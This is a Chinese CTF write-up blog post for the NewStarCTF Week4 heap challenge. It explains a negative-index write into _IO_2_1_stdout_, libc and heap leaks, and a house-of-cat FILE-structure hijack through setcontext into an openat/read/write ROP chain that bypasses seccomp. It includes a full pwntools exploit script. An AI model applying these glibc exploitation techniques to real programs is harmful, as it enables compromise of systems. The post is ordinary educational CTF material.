NewStarCTF 公开赛Week4 pwn 这是堆🐎

NewStarCTF 公开赛Week4 pwn 这是堆🐎

题目环境:glibc-2.31

漏洞分析

首先看到题目调用了prctl函数,说明开了沙盒保护机制。使用seccomp-tools检查一下

发现题目禁止了execve的系统调用,我们很容易想到要用orw将flag读取出来;但这题还把open函数给禁用了(是不是很无语),这里我们可以系统调用openat函数去打开文件,openat函数的系统调用号为257。

Add函数申请堆块,Dele函数和Show函数就一句简单的puts输出。

再去看看Edit函数,对v1采用int类型去定义的,没有对负数进行检查,我们就可以利用这一点去修改除堆以外的其它地方。

进一步查看运行时全局变量heaps在bss段的数据,发现存在IO_FILE的地址,可以输入负数然后直接修改_IO_FILE当中的值。

利用思路

可以使用shellcode去执行orw将flag读取出来,当然前提是泄漏堆地址,然后使用mprotect函数更改堆地址的执行权限,由于程序最初并没有给确定地址的可执行段,所以需要劫持rsp寄存器先执行mprotect函数的ROP,才能进一步去调用shellcode;或者直接劫持rsp寄存器使用open、read、write函数的ROP来实现orw。这里我采用后者。

程序中的gadget肯定是不够我们去实现ROP的,我们就使用libc中的gadget。

要控制rsp才可以去ROP,libc中可以去执行setcontext中的代码控制rsp(具体见我的Dest0g3 520迎新赛 pwn ez_kiwi这篇文章)。

我们可以去修改_IO_FILE当中的值,就想办法劫持其中的控制流,来执行setcontext。

具体过程

泄漏libc

这里我们就去修改标准输出_IO_2_1_stdout_中的值首先泄漏libc的基址

1
2
3
edit(-8, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - libc.sym['_IO_2_1_stdin_']

然后使用ROPgadget 找到相应的gadget,syscall ret这个geaget可以使用操作码去寻找(如下)

1
ROPgadget --binary libc-2.31.so --opcode "0f05c3"

我们还要寻找:

0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

setcontext中劫持rsp是通过rdx来修改的,但是在puts函数的调用中我们无法去控制rdx;使用这个gadget(它是getkeyserv_handle函数其中的一段),为我们劫持控制流提供了很好的帮助。

泄漏堆地址

存放gadget,堆是一个很好的选择,在libc中mp结构就存放了堆地址,我们就采用相同的方式去泄漏堆地址

1
2
3
add(b'aa')
edit(-8, p64(0xfbad1800) + p64(0) * 3 + p64(mp))
heap_addr = u64(p.recv(8))
劫持控制流

执行puts函数,会通过找到_IO_2_1_stdout__IO_file_jumps中的偏移,去执行_IO_file_xsputn函数,我们就需要修改_IO_2_1_stdout__IO_file_jumps, 让其最终执行其它函数。_IO_file_jumps 并不能改成任意地址,在调用过程中会对其地址进行检查。

这里我采用house of cat

让其调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数去执行如下代码(简写):

1
2
3
4
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

劫持到_IO_wfile_jumps(如下图)

_IO_switch_to_wget_mode函数中具体实现(如下图)

在这过程中rdi寄存器始终是_IO_2_1_stdout_的地址, 让其最后执行:

1
2
3
mov rdx, qword ptr [rdi + 8] 
mov qword ptr [rsp], rax
call qword ptr [rdx + 0x20]

通过rdi的值去控制rdx,并去执行我们指定的函数,这里我们是去执行setcontext 劫持rsp寄存器指向堆地址。

改写_IO_2_1_stdout_构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fake_IO_FILE = p64(0) + p64(heap_addr + 0x2a0)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(1) + p64(0)
fake_IO_FILE += p64(heap_addr)
fake_IO_FILE += p64(magic_gadget)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_addr + 0x500)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(IO_2_1_stdout + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(IO_2_1_stdout + 0x40)
orw

写入堆中的数据要注意setcontext的执行 与orw中gadget的位置,具体构造如下:

1
2
3
4
5
6
7
8
9
orw = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0) + p64(pop_rax) + p64(257) + p64(syscall_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)

payload = b'/flag'.ljust(8, b'\x00') + p64(0) * 3 + p64(setcontext + 61)
payload = payload.ljust(0xa0, b'\x00')
payload += p64(heap_addr + 0x2a0 + 0xc0) + p64(ret)
payload = payload.ljust(0xc0, b'\x00')
payload += orw

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
elf = ELF('pwn')
#libc = elf.libc
libc = ELF('libc-2.31.so')
#p = process('./pwn')
p = remote('node4.buuoj.cn',25381)
context.log_level = 'debug'

def add(data):
p.sendlineafter(b'>> ', b'1')
p.sendafter(b'Any data?',data)
def edit(idx, content):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Index:', str(idx).encode())
p.sendafter(b'Content:', content)

edit(-8, p64(0xfbad1800) + p64(0) * 3 + b'\x00')
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - libc.sym['_IO_2_1_stdin_']
IO_2_1_stdout = libcbase + libc.sym['_IO_2_1_stdout_']
IO_wfile_jumps = libcbase + 0x1e8de0
magic_gadget = libcbase + 0x151990
#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
pop_rdi = libcbase + 0x23b6a
pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92
pop_rax = libcbase + 0x36174
ret = libcbase + 0x22679
syscall_ret = libcbase + 0x630a9
setcontext = libcbase + 347936
mp = libcbase + 2015944

add(b'aa')
edit(-8, p64(0xfbad1800) + p64(0) * 3 + p64(mp))
heap_addr = u64(p.recv(8))
#print(hex(heap_addr))
orw = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0) + p64(pop_rax) + p64(257) + p64(syscall_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr + 0x2a0 + 0x30) + p64(pop_rdx) + p64(0x40) + p64(syscall_ret)

payload = b'/flag'.ljust(8, b'\x00') + p64(0) * 3 + p64(setcontext + 61)
payload = payload.ljust(0xa0, b'\x00')
payload += p64(heap_addr + 0x2a0 + 0xc0) + p64(ret)
payload = payload.ljust(0xc0, b'\x00')
payload += orw
edit(0, payload)

fake_IO_FILE = p64(0) + p64(heap_addr + 0x2a0)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(1) + p64(0)
fake_IO_FILE += p64(heap_addr)
fake_IO_FILE += p64(magic_gadget)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_addr + 0x500)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(IO_2_1_stdout + 0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps + 0x10)
fake_IO_FILE += p64(0) * 6
fake_IO_FILE += p64(IO_2_1_stdout + 0x40)

p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'Index:', str(-8).encode())

p.sendafter(b'Content:', fake_IO_FILE)

p.interactive()

关于house of cat我没有讲的太详细,大家可以参考看雪大佬的这篇文章https://bbs.pediy.com/thread-273895.htm


NewStarCTF 公开赛Week4 pwn 这是堆🐎
https://xtxtn.github.io/2022/11/02/NewStarCTF-公开赛Week4-pwn-这是堆/
作者
xtxtn
发布于
2022年11月2日
更新于
2023年1月13日
许可协议